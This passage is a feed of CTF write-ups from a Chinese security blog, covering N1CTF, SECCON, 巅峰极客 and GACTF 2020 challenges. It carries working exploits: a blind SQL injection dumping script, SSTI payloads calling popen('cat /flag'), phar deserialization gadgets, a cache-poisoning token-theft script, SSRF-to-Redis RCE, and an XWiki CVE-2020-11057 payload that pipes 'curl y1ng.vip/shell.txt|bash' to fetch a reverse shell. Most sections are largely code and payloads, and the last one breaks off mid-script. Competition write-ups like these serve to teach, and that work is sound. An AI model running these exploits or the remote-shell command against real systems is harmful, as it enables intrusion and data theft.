ip->__toString() will execute a mysql insert query, and one of the values is $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']), we can easily ctrl X-Forwarded-For header so it hints that it is a SQL inject challenge. But we don’t know what waf() method do but it must filter some sql keywords otherwise it would be a really really really easy challenge(in fact, even it has waf it is still not difficult).

By fuzzing, we suppose that waf() method may look like this:

function waf($info){
   	if(preg_match("/get_lock|sleep|benchmark|count|when|case|rlike|count/i",$info)){
   		exit("hackhack");
   	}
}

according to the pattern,  we cannot use Time-based Blind SQLi. But insert query  returns nothing useful, so now we must find a way to get the sub select query result. The first time I wanted to use mysql load_file() to send a http request and use dnslog to receive the result but failed.

Then I noticed that ip->__toString() will return mysqli_error($con), so maybe I can use Error-based SQLi. The exploit chain looks like:

  1. flag class’s member variable $ip is an ip object instance
  2. once unserialize() create the flag instance, __wakeup() method called
  3. in __wakeup(), stristr() function treat $this-ip as a string, and now $this->ip is ip object instance, so it called ip->_toString() method
  4. __toString do an sql query with error-based sqli payload(I’ll show you my payload later) in it because we controlled the XFF header. if the blind sqli expression in error-based sqli payload returns true,  __toString will return mysql error message, otherwise it returns “your ip looks ok!”
  5. since error-based sqli will return the sub select result, just decorate your payload to make sure it will return “n1ctf” in the hole error message when blind sqli returns true in sub select query(If you dont understand, dont worry, u will understand it after reading the payload). Then __wakeup will set $this->ip to “welcome to n1ctf2020”. If blind sqli returns false, $this->ip will be “noip”
  6. then flag automatically called __destruct() because it has nothing else to do, the object needs to be destroyed. echo $this->getflag() will echo $this->ip because we still dont know the key now.
  7. So, we have an error-based sqli payload will a sub select query in it. And the sub select query is a blind sqli payload, what this sub query returns will be up to a boolean expression. This boolean expression will finally control what is echoed when __destruct().
  8. According to the 2 different echo result, we can do Boolean-based SQL!

now I will show you my sqli payload:

'||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring((select database()),1,1))=100,'n1ctf','r3kapig')),'~'),3))||'

The italics are updatexml() error-based sqli, the blue part are the sub query I mentioned above, the pink part are what you want to dump, and the underline part is the boolean expression I also mentioned above.

I think it’s time to write exp

<?php
class ip {
}

class flag {
    public $ip;
    public $check;
}
$flag = new flag;
$flag->ip = new ip;
echo urlencode(serialize($flag));

//O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req
import string

url = "http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A0%3A%7B%7Ds%3A5%3A%22check%22%3BN%3B%7D"

#table: n1ip,n1key
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" 

#column: id,ip,time,id,key
sql = "select group_concat(column_name) from information_schema.columns where table_schema=database()"

#key:n1ctf20205bf75ab0a30dfc0c
sql = "select group_concat(`key`) from n1key"
res = ""
for i in range(1,100):
	for char in string.ascii_letters + string.digits + ",}{@~.":
		payload = f"'||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring(({sql}),{i},1))={ord(char)},'n1ctf','r3kapig')),'~'),3))||'"
		r = req.get(url,headers={"X-Forwarded-For" : payload})
		if 'welcome to n1ctf2020<' in r.text:
			res += char
			print(res)
			break
		if char == '.':
			exit(res)

What need to be noticed is that you can’t dump key by select key from n1key but select `key` from n1key. because key is a keyword of mysql and `key` means a column named key.

After dumping the key, we can get flag by unserialize again

<?php
class flag
{
    public $ip = "r3kapig";
    public $check = "n1ctf20205bf75ab0a30dfc0c";
}

$flag = new flag;
echo "http://101.32.205.189/?input=" . urlencode(serialize($flag));

// http://101.32.205.189/?input=O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3Bs%3A7%3A%22r3kapig%22%3Bs%3A5%3A%22check%22%3Bs%3A25%3A%22n1ctf20205bf75ab0a30dfc0c%22%3B%7D

flag: n1ctf{you_g0t_1t_hack_for_fun}


Misc-filter

I didnt solve this challenge because of several reasons, for example, my computer is out of power and it wouldn’t help us get champion. But this challege is quite interesting so that I decided to record our idea.

 <?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
    require_once $source_file;
}
catch(\Throwable $e){
    pass;
}

unlink($source_file);

?>

also provided Dockerfile:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-get -y install php

RUN rm /var/www/html/index.html
COPY index.php /var/www/html/
RUN chmod -R 755 /var/www/html/

COPY flag /tmp/flag
RUN cat /tmp/flag > /var/www/html/`cat /tmp/flag`
RUN rm -rf /tmp/flag

CMD service apache2 restart & tail -F /var/log/apache2/access.log;

You can give any filters you want, you can also give more than one filters divided by /, then it will read file by using php://filter stream and push the result to an array. After that shuffle() function shuffles (randomizes the order of the elements in) an array. Finally write the array to a file and include the file.

Obviously we need to RCE by using require_once $source_file. It is interesting that flag is on the web root directory and it named itself as it content(cat /tmp/flag > /var/www/html/`cat /tmp/flag`). So the first code I wanna write into $source_file to include is <?=`ls`;

Then what I need to do is get these chars(or substring of <?=`ls`;), I write a simple fuzzer to  get them.

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

from random import randint as r
import requests as req

def get_rand_filter(number):
	known_filters = [
		"string.strip_tags",
		"string.rot13",
		"convert.base64-encode",
		"convert.base64-decode"
	]
	res = 'string.strip_tags|'
	for i in range(1,number+1):
		res += known_filters[r(0,3)]
		res += '|'

	return res[:-1]


url = "http://127.0.0.1:2334/"
data = {
	"filters" : ""
}
res = {}
keys = []


try:
	for i in range(1,1000):
		for number in range(1,120):
			data['filters']  = get_rand_filter(number)
			rr = req.post(url=url, data=data)
			if len(rr.text[21:25]) == 1:
				key = ''
				if ord(rr.text[21:25]) >= 32 and ord(rr.text[21:30]) <= 127:
					key = rr.text[21:25]
				else:
					continue

				if key not in ['>', '?', ';', '=', '`', 'l', 'L' , 's' , 'S', '<']:
					print(f"key {key} is useless")
					continue
				tmp = {key : data['filters']}
				res.update(tmp)
				print(res)
	print(res)
except Exception as e:
	print(e)
	print(res)

To be honest, this fuzzer script has a lot to improve on. For example, it can fuzz more than one char. If it find some filters that can get <?=` , the challenge will become very simple. It’s easy to improve but I didn’t because we have high performance servers and two of my teammates help me run the script(main reason is I’m lazy).

Finally we fuzzed out all these 8 characters. since there are two `, it just need to send about 7! = 5040 requests to let shuffle() get those 8 chars in the right order.

for example, these filters can get `

string.strip_tags|convert.base64-decode|string.strip_tags|convert.base64-encode|convert.base64-encode|convert.base64-decode|string.strip_tags|string.rot13|convert.base64-encode|string.rot13|convert.base64-encode|string.rot13|string.strip_tags|string.strip_tags|string.strip_tags|convert.base64-decode|string.rot13|convert.base64-decode|string.rot13|string.rot13

BUT!!! when I prepare to get flag, I found that local environment is different from the challenge!

It may be challenge author’s fault. Maybe he changed the php binary file or some other reason.

We can still solve this challenge by download /usr/bin/php firstly and locally fuzz again, but I gave up because it was unnecessary. Solving this challenge wouldn’t let us get the first prize, but we have found the right way to solve the challenge, and that is enough.

Challenge author’s fuzzer script here

This challenge also has an unintended solution, you can check out Super Guesser‘s Writeup


web-zabbix_fun

build on local by using docker-compose up -d --build

version: '2'
services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    environment:
      - MYSQL_ROOT_PASSWORD=secret
    networks:
      - zbx-net

  web:
    image: zabbix/zabbix-web-nginx-mysql:ubuntu-5.0-latest
    container_name: zabbix-web-nginx-mysql
    environment:
      - DB_SERVER_HOST=mysql
      - MYSQL_USER=root
      - MYSQL_PASSWORD=secret
      - ZBX_SERVER_HOST=zabbix-server
      - PHP_TZ=Asia/Shanghai
    ports:
      - '8080:8080'
    links:
      - mysql
      - zabbix-server
    depends_on:
      - mysql
    networks:
      - zbx-net

  zabbix-server:
    image: zabbix/zabbix-server-mysql:alpine-5.0-latest
    container_name: zabbix-server-mysql
    environment:
      - DB_SERVER_HOST=mysql
      - MYSQL_USER=root
      - MYSQL_PASSWORD=secret
    ports:
      - '10051:10051'
    links:
      - mysql
    depends_on:
      - mysql
    networks:
      - zbx-net

  zabbix-agent:
    image: zabbix/zabbix-agent:alpine-5.0-latest
    container_name: zabbix-agent-secret
    volumes:
      - ./flag/:/flag/
    environment:
      - ZBX_HOSTNAME=secret_agent
      - ZBX_SERVER_HOST=zabbix-server
    networks:
      - zbx-net

networks:
  zbx-net:
    driver: bridge
    driver_opts:
      com.docker.network.enable_ipv6: "false"
    ipam:
      driver: default
      config:
      - subnet: 172.16.233.0/24

This challenge is quite easy. After discussing with author, the intended solution is get a shell of zabbix server, but in fact it is totally unnecessary.

What I did firstly is read zabbix document for more than 1h.

First, login with Admin/zabbix

Then configure the host(zabbix agent) and make sure zbx is green

by default it is red because of the wrong config

what we must need to configure the host is agent’s ip and port. I got them from docker

configure the host and make ZBX green(green means available)

ZABBIX is used to monitor the server. noticed that it is monitoring whether the /etc/passwd of the agent is modified by vfs.file.cksum, which indicates that zabbix has the right to read files on agent.

and what is vfs.file.cksum? it is an item

then I thought there must be an item to read file content, and it’s true

now let get flag by using this item. And I got the 2nd blood of this challenge.

Easy but interesting!

In fact, at the first time I configured the item but I don’t know how to Get value. Then I changed to try to RCE. What I did is configure a trigger -> trigger an action -> action execute command. But I failed because by default the agent don’t support to execute command.


Other Challenges

https://r3kapig.com/writeup/20201020-n1ctf/

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2657.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2657.html/feed 6
🇯🇵SECCON 2020 OnlineCTF Writeup https://www.gem-love.com/ctf/2641.html https://www.gem-love.com/ctf/2641.html#respond Sun, 11 Oct 2020 15:44:01 +0000 https://www.gem-love.com/?p=2641 Author:颖奇L’Amore

Blog:www.gem-love.com


Beginner’s Capsule

solved by evoA@r3kapig

题目是TS写的,给了Docker (tar.gz格式)

可以任意执行命令,根据给的这段代码来看我们要读flag,但是flag是个PR,是不能从外界访问的

源码没有什么有用的东西,写的基本都是在容器里执行ts

由于ts是先compile为js再执行的,而js并不支持#开头私有属性这种语法,那么JS中就肯定有一种东西来支持TS的私有属性

实际上对于TS的私有属性,在编译为JavaScript后使用_classPrivateFieldSet_classPrivateFieldGet函数来赋值,函数中接收的privateMap参数则是一个WeakMap的实例,参考这个

当然我们可以通过tsc命令手工将TypeScript编译为JavaScript,来看一下编译后的结果

基本上和样例一样,主要是_flagWeakMap的一个实例,查询WeakMap文档发现他其实只是一个键值对的集合,可以通过get方法获取一个键的值,所以答案就呼之欲出了

Capsule

代码基本没区别

const fs = require('fs');

const {enableSeccompFilter} = require('./lib.js');

class Flag {
  #flag;
  constructor(flag) {
    this.#flag = flag;
  }
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();

只是换成了直接执行js

这里有一个issue显示,可以使用inspector模块来获得私有变量,并且这是一个内置模块意味着我们可以在无法npm i时直接调用

但是直接使用它来读取flag会得到:

private properties undefined

需要先把flag加入global才可以读取

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session();
session.connect();
session.post('Runtime.evaluate', { expression: `flag` },
  (error, { result }) => {
    session.post('Runtime.getProperties', { objectId: result.objectId },
      (error, { privateProperties }) => {
        console.log('private properties', privateProperties);
      });
  });

非预期1

其实这个题还蛮简单的,比如直接劫持require函数。。。。。

思路类似今年DEFCON Final的那个拼图题,利用报错拿到flag

非预期2

注意到题目代码的最后一句,它用来禁止从/proc/self/mem中读取内存

enableSeccompFilter();

但是可以利用第三方库读内存,比如v8模块的getHeapSnapshot()

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
const index = memory.indexOf('SEC'+'CON');
const len = memory.slice(index).indexOf('}');
const flagBuffer = memory.slice(index, index + len + 1);
console.log(flagBuffer.toString());

Milk

表面上是一个XSS,但实际上是个缓存污染攻击

题目有两个域,分别是milk和milk-api,milk域是一个Note App,能够注册、登录、写笔记、提交给管理员访问,这些操作大部分通过api来操作。给了源码

看api的源码,首先可以看到它使用的是token来做认证:

// CSRF Token validation
router.use(async (ctx, next) => {
  const tokenString = ctx.request.url.searchParams.get('token') || '';
  const token = await Tokens.findOne({token: tokenString});
  if (!token) {
    ctx.response.body = 'Bad CSRF token';
    ctx.response.status = 400;
    return;
  }
  if (token.username === '') {
    ctx.response.status = 403;
    return;
  }

  await Tokens.deleteOne({_id: token._id});

  ctx.state.user = (await Users.findOne({username: token.username}))!;

  await next();
});

管理员访问/flag路由即可得到flag:

router.get('/flag', async (ctx) => {
  if (!ctx.state.user.admin) {
    ctx.response.body = 'Flag is the privilege available only from admin, right?';
    ctx.response.status = 403;
    return;
  }

  ctx.response.body = Deno.env.get('FLAG');
});

所以本题目要做的是获取管理员的token。一开始我以为是xss题目,但是因为有CSP绕不过,csrftoken的jsonp也不是任意可控的

Content-Security-Policy: default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-api.chal.seccon.jp; script-src 'self' https://milk-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-xynbUFfxov/jB5OqYtvdEP/YBByczVOIsuEomUHxc0U=';

这题的难点在于token一旦被使用就被删除了,所以我们要想办法组织这个token被使用,这样攻击者才有机会去利用这个token伪造管理员。

注意到在note.php中

<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>
<script src=/index.js></script>
<script>
  csrfTokenCallback = async (token) => {
    window.csrfTokenCallback = null;
    const paths = location.pathname.split('/');

    const data = await $.get({
      url: 'https://milk-api.chal.seccon.jp/notes/get',
      data: {id: paths[paths.length - 1], token},
      xhrFields: {
        withCredentials: true,
      },
    });

    document.getElementById('username').textContent = data.note.username;
    document.getElementById('body').textContent = data.note.body;

    document.querySelector('[name=url]').value = location.href;
  };
</script>

api的csrf_token是一个jsonp调用csrfTokenCallback(),一旦调用了这个函数就会AJAX请求api的/notes/get路由去获取note的内容,一旦去访问notes/get,就会先经过router.use(),token就被删除了,所以要在拿到token的同时组织这个回调。

这里有许多种解法,关于非预期解法请直接看出题人写的文档,但基本都是利用缓存污染攻击,只是如何阻止token被删除的方法多种多样。

域名后面加上一个点儿,https://milk.chal.seccon.jp./,注意这最后加了一个. 但是浏览器访问它依然可以访问,DNS解析正常,NGINX认为它和正常域名的hostname没有区别。但是对于CORS Policy就不一样了,这两个域名被认为是跨域的,正好CSP的connect-src只指定了正常域名,故而如果Blocked By CORS那么就可以阻止回调了。

但是利用<script src=>去Bypass CORS是XSS的一个常用策略,因为script的引用不遵循CORS,但是现在我们想要他遵循,所以要手工给它一个参数,可以利用 crossorigin="use-credentials"

现在来从头理一下攻击的思路:

  • 首先因为nginx服务器缓存了api的所有请求,当我们把一个url提交给管理员访问时,nginx就缓存了管理员的CSRF Token
  • 然后因为我们提交的URL是精心构造的,jsonp回调没有执行,就没有访问/note/get路由,token就还没有被删除
  • 现在我们可以通过_参数传入与“note页面的script标签的src引用发起一个jsonp请求到api的csrf_token页面是的_参数”一样的值给csrf_token来获得管理员的token(因为缓存)
  • 拿到了管理员token,伪造管理员去拿flag

exp:

const Axios = require('axios');
const qs = require('querystring');
const https = require('https');

const random = Array(10).fill().map(() => 'abcdefg'[Math.floor(Math.random() * 6)]).join('');

(async () => {
  const axios = Axios.create({
    httpsAgent: new https.Agent({
      rejectUnauthorized: false,
    }),
  });

  const {data: reportResult} = await axios({
    method: 'POST',
    url: 'https://milk.chal.seccon.jp/report',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    data: qs.stringify({
      url: `https://milk.chal.seccon.jp./note.php?${qs.stringify({
        id: 'hoge',
        _: `${random} crossorigin=use-credentials`,
      })}`
    }),
  });
  // console.log(reportResult);

  await new Promise((resolve) => setTimeout(resolve, 10000));

  const {data: csrfTokenJsonp} = await axios.get('https://milk-api.chal.seccon.jp/csrf-token', {
    params: {
      _: random,
    },
  });

  const csrfToken = csrfTokenJsonp.match(/'(.+?)'/)[1];
  // console.log(csrfToken);

  const {data: flag} = await axios.get('https://milk-api.chal.seccon.jp/notes/flag', {
    params: {
      token: csrfToken,
    },
    headers: {
      Referer: 'https://milk.chal.seccon.jp/',
    },
  });

  console.log(flag);
})();

还有个Milk Revenge,但实际上并没有很revenge,很多解法都是通杀这俩题


References 

https://hackmd.io/@hakatashi/ryLh2okDD

https://gist.github.com/po6ix/4af76691ea379957f9e8d68e002ec123

https://hackmd.io/@hakatashi/S15X3c1wv

https://diary.shift-js.info/seccon-online-pasta/

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2641.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2641.html/feed 0
2020“巅峰极客”初赛Writeup https://www.gem-love.com/ctf/2634.html https://www.gem-love.com/ctf/2634.html#comments Sat, 26 Sep 2020 15:59:41 +0000 https://www.gem-love.com/?p=2634 Author:颖奇L’Amore

Blog:www.gem-love.com

因为一直在TCTF Final摸鱼,这个比赛就随便看了看,最后一个web在赛后6分钟做出的,于是无缘线下了,这个线上赛就权当娱乐了


babyphp2

www.zip得到源码。不用注入,因为读文件和上传文件都不需要登录,那个只是个障眼法。

有类,有上传,有文件读取,很明显的Phar反序列化

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "y1ng.gif");

上传得到路径,因为读文件时对schema有过滤,利用压缩过滤器触发phar即可:

compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif


babyflask

一血,被队友1分钟solve,老生常谈的bypass套路

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}

babyback

有必要吐槽一下ichunqiu这个平台,docker是队友开的,这题我拿的一血,但是只能开docker的人交flag就很傻逼,正好开docker的人出门了,导致一直交不上flag,耽误了好几分钟,最后变成了二血

题很简单,考点我都出过,并且是开源的

  • 无引号SQL注入参考:https://www.gem-love.com/ctf/2283.html#LoginOnlyFor36D
  • 无括号分号RCE参考:https://www.gem-love.com/ctf/2283.html#%E7%BB%99%E4%BD%A0shell
  • 题目开源:https://github.com/y1nglamore/Y1ngCTF
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req 

url = "http://[docker].cloudeci1.ichunqiu.com/index.php"

data = {
	"username" : '''admin\\''',
	"password" : ""
}
res = ""
for position in range(1,30):
	for i in range(32,127):
		payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
		data["password"] = payload
		r = req.post(url=url, data=data)
		if r"<div class='logo'>密码错误" not in r.text:
			res += chr(i)
			print(res)
			break
		else:
			continue
# uAreRigHt

然后包含一个/flag的取反拿flag

command=require%40%7e%d0%99%93%9e%98?>

MeowWorld

这题有点可惜,比赛结束前20分钟才来看,导致在赛后6分钟时拿到flag,如果早来点儿肯定进线下了

有一个参考文章:https://khack40.info/camp-ctf-2015-trolol-web-write-up/

f参数文件包含,只是后面有.php的后缀拼接

<?php
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

利用pear install装马,必须是php后缀:

之后包含即可RCE。readflag还要写个小脚本

这东西之前比赛也都出过

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2634.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2634.html/feed 2
XCTF-GACTF 2020 Writeup https://www.gem-love.com/ctf/2621.html https://www.gem-love.com/ctf/2621.html#respond Tue, 01 Sep 2020 12:50:59 +0000 https://www.gem-love.com/?p=2621 Author:颖奇L’Amore

Blog:www.gem-love.com

这个周末比较忙,就第一天中午打了一小会儿


XWiki

题目是XWiki 11.10.1,则可以使用CVE-2020-11057一键RCE:

  1. Create new user
  2. Go to profile -> Edit -> My dashboard -> Add gadget
  3. Choose either python or groovy.
  4. Paste following python/groovy code (for unix powered xwiki)
import os
os.popen("curl y1ng.vip/shell.txt|bash")
r = Runtime.getRuntime()
proc = r.exec('curl y1ng.vip/shell.txt|bash');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }
  1. Submit the gadget

反弹shell后,在根目录下没有发现flag,而是有一个readflag,要让你比较数的大小,脱下来,IDA打开:

可以发现需要比较大小464次,但是比较完成之后就直接printf一个Congratulations! Bye~~就没了。

而我们自己本来就是root权限,一般的readflag是root用户启动,然后flag文件是400权限,所以利用readflag去读,可是本题目既然已经是root了,就应该不是这种套路(u1s1 出题人连用户权限都不会设置就默认给root 更不可能会弄flag的权限)。

当然我们首先没有找到flag文件、其次在readflag里没有发现去读取flag的操作,那么flag应该就在这个readflag里面。

果然,reverse爷爷一下就看出了flag:


simpleflask

题目是新版本werkzurg,开了debug,应该是新版本算PIN码,然而可以直接读flag

出于好奇,顺便读一下源码:

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
              "mro", "compile", "execfile", "exec",
              "subprocess", "importlib", "platform", "timeit",
              "import", "linecache", "module", "getattribute",
              "pop", "getitem", "decode", "popen",
              "ifconfig", "flag", "config"]


def check(s):
    # print(len(s))
    if len(s) > 131:
        abort(500, "hacker")
        # abort(500, "hacker len")
    for i in s:
        if i not in white_list:
            abort(500, "hacker")
            # abort(500, "hacker white")
    for i in black_list:
        if i in s:
            abort(500, "hacker")
            # abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
    try:
        name = request.form["name"]
    except exception:
        return render_template_string("<h1>request.form[\"name\"]<h1>")

    if name == "":
        return render_template_string("<h1>hello world!<h1>")

    check(name)
    template = '<h1>hello {}!<h1>'.format(name)
    res = render_template_string(template)
    if "flag" in res:
        abort(500, "hacker")
    return res


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=true)

当然PIN也能算:


EZFLASK

给了不全的源码:


# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

提交eval=ctf.__globals__ 得到神秘路由和其他一些信息:

{'my_eval': , 'app': <flask 'app_1'="">, 'waf_eval': , 'admin': , 'index': , 'waf_ip': , '__builtins__': <module '__builtin__'="" (built-in)="">, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <request 'http:="" 124.70.206.91:10000="" eval'="" [post]="">, '__package__': None, 'Flask': <class 'flask.app.flask'="">, 'ctf': , 'waf_path': , 'time': <module 'time'="" from="" '="" usr="" local="" lib="" python2.7="" lib-dynload="" time.so'="">, '__name__': '__main__', 'requests': <module 'requests'="" from="" '="" usr="" local="" lib="" python2.7="" site-packages="" requests="" __init__.pyc'="">, '__doc__': None}

之前做TJCTF 2018时,有个沙箱逃逸题是利用了co_consts来读常量得到waf规则,结果我测试了一下被黑名单过滤了,然后就去忙别的事了,过会儿回来发现队友用这个读出了内网端口,不清楚是我当时多打了空格啥的还是题目有改动。得到:

(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')

这里有个注释,是5000端口,下面我们来看看这个secret路由

但是他好像把127.0.0.1给ban了,很无语,也很无聊。因为127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。


import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
    return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
    return flask.render_template_string(hack)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

一个套娃SSTI,过滤了括号加号等,比较麻烦,后来被队友做出来的

ip=127.1.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000


SSSRFME

Solved By evaA@r3kapig

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
        
        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
        
        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

parse_url()存在SSRF漏洞,则可以打内网,根目题目暗示和EZFLASK有关联,所以也打一下5000端口,发现了套娃:

http://121.36.199.21:10808/?url=http://root:root@127.0.0.1:5000@y1ng.vip/

测试发现为python3 urllib

根据题目hint说的Redis,打一下6379端口发现果然开了redis:

题目利用CRLF+Redis主从复制RCE,然后题目HINT告诉Redis有弱密码,那么需要想一个办法来判断密码是否正确才可以来爆破密码。

可以直接利用Rouge Redis Server,如果密码错误是会主从复制失败的,那么就收不到回显,所以可以利用+爆破密码同时进行。

Rouge Redis Server直接用n0b0dy👴🏻👴🏻写的即可。exp的话evoA师傅写了一个一键利用的,还挺好用的,不过因为不是我写的,暂时不对外分享了。

直接打,同时爆破密码,可以得知Redis密码是123456,同时RCE反弹shell


carefuleyes

这个题是比赛结束后抽时间做的。www.zip得到源码,所有的提交都会被转义,没有办法直接注入。先看得到flag的点:

class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function login() {
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

        global $db;
        $obj = $db->query($sql);

        $obj = $obj->fetch_assoc();

        global $FLAG;

        if ( $obj != false && $obj['privilege'] == 'admin'  ) {
			die($FLAG);
        } else {
			die("Admin only!");
        }
    }

    function __destruct() {
        @call_user_func_array(array($this, $this->method), $this->args);
    }

}

在upload中存在反序列化位点:

那么我们只要注出账号密码然后反序列化即可得到flag。注入位点主要在rename.php:

查询结果直接放进了新的查询中,则可造成二次注入;可利用$info['filename']这个回显来布尔盲注,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import HackRequests as HR
import requests as req
import random
from urllib.parse import quote as urlencode

def upload(name):
	hack = HR.hackRequests()
	raw = '''POST /upload.php HTTP/1.1
Host: 124.71.191.175
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
